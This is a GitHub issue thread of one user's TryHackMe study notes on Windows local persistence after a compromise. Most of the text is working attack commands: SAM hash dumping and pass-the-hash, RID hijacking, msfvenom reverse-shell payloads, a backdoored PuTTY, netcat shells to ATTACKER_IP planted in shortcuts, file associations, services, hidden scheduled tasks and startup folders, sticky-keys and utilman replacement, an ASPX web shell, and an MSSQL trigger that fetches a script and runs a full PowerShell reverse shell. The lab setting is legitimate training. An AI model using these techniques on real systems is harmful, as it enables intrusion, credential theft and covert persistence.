WDavid404 / Note_tryhackme

0 stars 0 forks source link

Post Compromise -- Windows Local Persistence #10

Open WDavid404 opened 8 months ago

WDavid404 commented 8 months ago

Tampering With Unprivileged Accounts

To make it harder for the blue team to detect us, we can manipulate unprivileged users, which usually won't be monitored as much as administrators, and grant them administrative privileges somehow.

Assign Group Memberships

The direct way to make an unprivileged user gain administrative privileges --> make it part of the Administrators group. C:\> net localgroup administrators thmuser0 /add

If this looks too suspicious, you can use the Backup Operators group --> Users in this group won't have administrative privileges but will be allowed to read/write any file or registry key on the system, ignoring any configured DACL. net localgroup "Backup Operators" thmuser1 /add Since this is an unprivileged account, it cannot RDP or WinRM back to the machine unless we add it to the Remote Desktop Users (RDP) or Remote Management Users (WinRM) groups net localgroup "Remote Management Users" thmuser1 /add

To be able to regain administration privileges from your user, we'll have to disable LocalAccountTokenFilterPolicy by changing the following registry key to 1: C:\> reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1

We then proceed to make a backup of SAM and SYSTEM files and download them to our attacker machine:

AttackBox
*Evil-WinRM* PS C:\> reg save hklm\system system.bak
    The operation completed successfully.

*Evil-WinRM* PS C:\> reg save hklm\sam sam.bak
    The operation completed successfully.

*Evil-WinRM* PS C:\> download system.bak
    Info: Download successful!

*Evil-WinRM* PS C:\> download sam.bak
    Info: Download successful!
image

With those files, we can dump the password hashes for all users using secretsdump.py or other similar tools:

user@AttackBox$ python3.9 /opt/impacket/examples/secretsdump.py -sam sam.bak -system system.bak LOCAL
image

And finally, perform Pass-the-Hash to connect to the victim machine with Administrator privileges:

AttackBox
user@AttackBox$ evil-winrm -i 10.10.33.93 -u Administrator -H f3118544a831e728781d780cfdb9c1fa
image

Special Privileges and Security Descriptors

A similar result to adding a user to the Backup Operators group can be achieved without modifying any group membership. In the case of the Backup Operators group, it has the following two privileges assigned by default:

First, we will export the current configuration to a temporary file: secedit /export /cfg config.inf We open the file and add our user to the lines in the configuration regarding the SeBackupPrivilege and SeRestorePrivilege: image

We finally convert the .inf file into a .sdb file which is then used to load the configuration back into the system:

secedit /import /cfg config.inf /db config.sdb
secedit /configure /db config.sdb /cfg config.inf

You should now have a user with equivalent privileges to any Backup Operator. The user still can't log into the system via WinRM, so let's do something about it. Instead of adding the user to the Remote Management Users group, we'll change the security descriptor associated with the WinRM service to allow thmuser2 to connect. Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI This will open a window where you can add thmuser2 and assign it full privileges to connect to WinRM: image

Once we have done this, our user can connect via WinRM. Since the user has the SeBackup and SeRestore privileges, we can repeat the steps to recover the password hashes from the SAM and connect back with the Administrator user.

If you check your user's group memberships, it will look like a regular user. Nothing suspicious at all!

C:\> net user thmuser2
User name                    thmuser2

Local Group Memberships      *Users
Global Group memberships     *None

Notice that for this user to work with the given privileges fully, you'd have to change the LocalAccountTokenFilterPolicy registry key.

RID Hijacking

When a user is created, an identifier called Relative ID (RID) is assigned to them. The RID is simply a numeric identifier representing the user across the system. When a user logs on, the LSASS process gets its RID from the SAM registry hive and creates an access token associated with that RID. If we can tamper with the registry value, we can make windows assign an Administrator access token to an unprivileged user by associating the same RID to both accounts.

In any Windows system, the default Administrator account is assigned the RID = 500, and regular users usually have RID >= 1000.

C:\> wmic useraccount get name,sid

Name                SID
Administrator       S-1-5-21-1966530601-3185510712-10604624-500
DefaultAccount      S-1-5-21-1966530601-3185510712-10604624-503
Guest               S-1-5-21-1966530601-3185510712-10604624-501
thmuser1            S-1-5-21-1966530601-3185510712-10604624-1008
thmuser2            S-1-5-21-1966530601-3185510712-10604624-1009
thmuser3            S-1-5-21-1966530601-3185510712-10604624-1010

Use psexec to run Regedit as SYSTEM C:\tools\pstools> PsExec64.exe -i -s regedit From Regedit, we will go to HKLM\SAM\SAM\Domains\Account\Users\ where there will be a key for each user in the machine. If we want to modify thmuser3, we need to search for a key with its RID in hex (1010 = 0x3F2). image

We will now replace those two bytes with the RID of Administrator in hex (500 = 0x01F4), switching around the bytes (F401): image

The next time thmuser3 logs in, LSASS will associate it with the same RID as Administrator and grant them the same privileges.

WDavid404 commented 8 months ago

Backdooring Files

Executable Files

Case: create a backdoor putty.exe If we checked the shortcut's properties, we could see that it (usually) points to C:\Program Files\PuTTY\putty.exe msfvenom -a x64 --platform windows -x putty.exe -k -p windows/x64/shell_reverse_tcp lhost=ATTACKER_IP lport=4444 -b "\x00" -f exe -o puttyX.exe

Shortcut

If we don't want to alter the executable, we can always tamper with the shortcut file itself. (1)create a simple Powershell script in C:\Windows\System32 or any other sneaky location.

//backdoor.ps1

Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe ATTACKER_IP 4445"

C:\Windows\System32\calc.exe

(2) we'll change the shortcut of calc.exe to point to our script. powershell.exe -WindowStyle hidden C:\Windows\System32\backdoor.ps1 image

Hijacking File Associations

The default operating system file associations are kept inside the registry, where a key is stored for every single file type under HKLM\Software\Classes\ image Most ProgID entries will have a subkey under shell\open\command where the default command to be run for files with that extension is specified: image n this case, when you try to open a .txt file, the system will execute %SystemRoot%\system32\NOTEPAD.EXE %1, where %1 represents the name of the opened file.

If we want to hijack this extension, we could replace the command with a script that executes a backdoor and then opens the file as usual. First, let's create a ps1 script with the following content and save it to C:\Windows\backdoor2.ps1:

Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe ATTACKER_IP 4448"
C:\Windows\system32\NOTEPAD.EXE $args[0]

Now let's change the registry key to run our backdoor script in a hidden window: image

WDavid404 commented 8 months ago

Abusing Services

Creating backdoor services

Create and start a service named "THMservice" using the following commands:

sc.exe create THMservice binPath= "net user Administrator Passwd123" start= auto
sc.exe start THMservice

The "net user" command will be executed when the service is started, resetting the Administrator's password to Passwd123.

Create a reverse shell with msfvenom and associate it with the created service. user@AttackBox$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4448 -f exe-service -o rev-svc.exe You can then copy the executable to your target system, say in C:\Windows and point the service's binPath to it:

sc.exe create THMservice2 binPath= "C:\windows\rev-svc.exe" start= auto
sc.exe start THMservice2

Modifying existing services

Usually, any disabled service will be a good candidate, as it could be altered without the user noticing it.

  1. Get a list of available services sc.exe query state=all
    
    C:\> sc.exe qc THMService3
    [SC] QueryServiceConfig SUCCESS

SERVICE_NAME: THMService3 TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\MyService\THMService.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : THMService3 DEPENDENCIES : SERVICE_START_NAME : NT AUTHORITY\Local Service


There are three things we care about when using a service for persistence:
- The executable (BINARY_PATH_NAME) should point to our payload.
- The service START_TYPE should be automatic so that the payload runs without user interaction.
- The SERVICE_START_NAME, which is the account under which the service will run, **should preferably be set to LocalSystem to gain SYSTEM privileges.**

2. Prepare a reserve exe
`user@AttackBox$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=5558 -f exe-service -o rev-svc2.exe`

3. Reconfigure the target service (e.g. "THMservice3" )
`sc.exe config THMservice3 binPath= "C:\Windows\rev-svc2.exe" start= auto obj= "LocalSystem"
`
WDavid404 commented 8 months ago

Abusing Scheduled Tasks

create a task that runs a reverse shell every single minute (In a real-world scenario, you wouldn't want your payload to run so often)

C:\> schtasks /create /sc minute /mo 1 /tn THM-TaskBackdoor /tr "c:\tools\nc64 -e cmd.exe ATTACKER_IP 4449" /ru SYSTEM
SUCCESS: The scheduled task "THM-TaskBackdoor" has successfully been created.

Making Our Task Invisible

The security descriptors of all scheduled tasks are stored in HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree.

image

You will find a registry key for every task, under which a value named "SD" contains the security descriptor. You can only erase the value if you hold SYSTEM privileges.

To hide our task, let's delete the SD value for the "THM-TaskBackdoor" task we created before. To do so, we will use psexec (available in C:\tools) to open Regedit with SYSTEM privileges: c:\tools\pstools\PsExec64.exe -s -i regedit If we try to query our service again, the system will tell us there is no such task:

image
WDavid404 commented 8 months ago

Logon Triggered Persistence

Startup folder

Each user has a folder under C:\Users\<your_username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup If we want to force all users to run a payload while logging in, we can use the folder under C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

Generate a reverse shell payload using msfvenom: ⚠️ -f 需要是exe,而不是exe-service user@AttackBox$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4450 -f exe -o revshell.exe

Then store the payload into the C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp folder to get a shell back for any user logging into the machine. Then, re-login : sign out of your session from the start menu (closing the RDP window is not enough as it leaves your session open) and then log back via RDP

Run / RunOnce

the following registry entries to specify applications to run at logon:

HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
  1. user@AttackBox$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4450 -f exe -o revshell.exe
  2. move it to C:\Windows\: C:\> move revshell.exe C:\Windows
  3. Add a new string value in "Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" image

Winlogon

Winlogon uses some registry keys under HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ image to image

Logon scripts

One of the things userinit.exe does while loading your user profile is to check for an environment variable called UserInitMprLogonScript. image Notice that this registry key has no equivalent in HKLM, making your backdoor apply to the current user only.

WDavid404 commented 8 months ago

Backdooring the Login Screen / RDP

Sticky Keys

When pressing key combinations like CTRL + ALT + DEL, you can configure Windows to use sticky keys, which allows you to press the buttons of a combination sequentially instead of at the same time. In that sense, if sticky keys are active, you could press and release CTRL, press and release ALT and finally, press and release DEL to achieve the same effect as pressing the CTRL + ALT + DEL combination.

To establish persistence using Sticky Keys, we will abuse a shortcut enabled by default in any Windows installation that allows us to activate Sticky Keys by pressing SHIFT 5 times. After inputting the shortcut, we should usually be presented with a screen that looks as follows: image

After pressing SHIFT 5 times, Windows will execute the binary in C:\Windows\System32\sethc.exe ----> We replacing sethc.exe with a copy of cmd.exe To overwrite sethc.exe, we first need to take ownership of the file and grant our current user permission to modify it.

C:\> takeown /f c:\Windows\System32\sethc.exe

SUCCESS: The file (or folder): "c:\Windows\System32\sethc.exe" now owned by user "PURECHAOS\Administrator".

C:\> icacls C:\Windows\System32\sethc.exe /grant Administrator:F
processed file: C:\Windows\System32\sethc.exe
Successfully processed 1 files; Failed processing 0 files

C:\> copy c:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
Overwrite C:\Windows\System32\sethc.exe? (Yes/No/All): yes
        1 file(s) copied.

After doing so, lock your session from the start menu. now be able to press SHIFT five times to access a terminal with SYSTEM privileges directly from the login screen. image

Utilman

Utilman is a built-in Windows application used to provide Ease of Access options during the lock screen: image When we click the ease of access button on the login screen, it executes C:\Windows\System32\Utilman.exe with SYSTEM privileges. If we replace it with a copy of cmd.exe, we can bypass the login screen again.

C:\> takeown /f c:\Windows\System32\utilman.exe

SUCCESS: The file (or folder): "c:\Windows\System32\utilman.exe" now owned by user "PURECHAOS\Administrator".

C:\> icacls C:\Windows\System32\utilman.exe /grant Administrator:F
processed file: C:\Windows\System32\utilman.exe
Successfully processed 1 files; Failed processing 0 files

C:\> copy c:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe
Overwrite C:\Windows\System32\utilman.exe? (Yes/No/All): yes
        1 file(s) copied.

Then, lock our screen from the start button, then click on the "Ease of Access" button. image

WDavid404 commented 8 months ago

Persisting Through Existing Services

Using Web Shells

Upload a web shell to the web directory. iis apppool\defaultapppool: Even if this is an unprivileged user, it has the special SeImpersonatePrivilege, providing an easy way to escalate to the Administrator using various known exploits.

  1. Prepare a web shell (https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmdasp.aspx)
  2. C:\> move shell.aspx C:\inetpub\wwwroot\
  3. cacls shell.aspx /grant Everyone:F
  4. then run commands from the web server by pointing to the following URL: http://10.10.44.204/shell.aspx image

Using MSSQL as a Backdoor

Case: create a trigger for any INSERT into the HRDB database.

Before creating the trigger, we must first reconfigure a few things on the database.

  1. enable the xp_cmdshell stored procedure. xp_cmdshell is a stored procedure that is provided by default in any MSSQL installation and allows you to run commands directly in the system's console but comes disabled by default.

To enable it, let's open Microsoft SQL Server Management Studio 18, available from the start menu. When asked for authentication, just use Windows Authentication (the default value), and you will be logged on with the credentials of your current Windows User. By default, the local Administrator account will have access to all DBs.

image image

Once logged in, click on the New Query button to open the query editor: image Run the following SQL sentences to enable the "Advanced Options" in the MSSQL configuration, and proceed to enable xp_cmdshell.

sp_configure 'Show Advanced Options',1;
RECONFIGURE;
GO

sp_configure 'xp_cmdshell',1;
RECONFIGURE;
GO

After this, we must ensure that any website accessing the database can run xp_cmdshell. By default, only database users with the sysadmin role will be able to do so. Since it is expected that web applications use a restricted database user, we can grant privileges to all users to impersonate the sa user, which is the default database administrator:

USE master

GRANT IMPERSONATE ON LOGIN::sa to [Public];

After all of this, we finally configure a trigger. We start by changing to the HRDB database: USE HRDB Our trigger will leverage xp_cmdshell to execute Powershell to download and run a .ps1 file from a web server controlled by the attacker. The trigger will be configured to execute whenever an INSERT is made into the Employees table of the HRDB database:

CREATE TRIGGER [sql_backdoor]
ON HRDB.dbo.Employees 
FOR INSERT AS

EXECUTE AS LOGIN = 'sa'
EXEC master..xp_cmdshell 'Powershell -c "IEX(New-Object net.webclient).downloadstring(''http://ATTACKER_IP:8000/evilscript.ps1'')"';

Now that the backdoor is set up, let's create evilscript.ps1 in our attacker's machine, which will contain a Powershell reverse shell:

$client = New-Object System.Net.Sockets.TCPClient("ATTACKER_IP",4454);

$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + "PS " + (pwd).Path + "> ";
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};

$client.Close()

We will need to open two terminals to handle the connections involved in this exploit:

The trigger will perform the first connection to download and execute evilscript.ps1. Our trigger is using port 8000 for that. python3 -m http.server The second connection will be a reverse shell on port 4454 back to our attacker machine. nc -lvp 4454 With all that ready, let's navigate to http://10.10.44.204/ and insert an employee into the web application. Since the web application will send an INSERT statement to the database, our TRIGGER will provide us access to the system's console.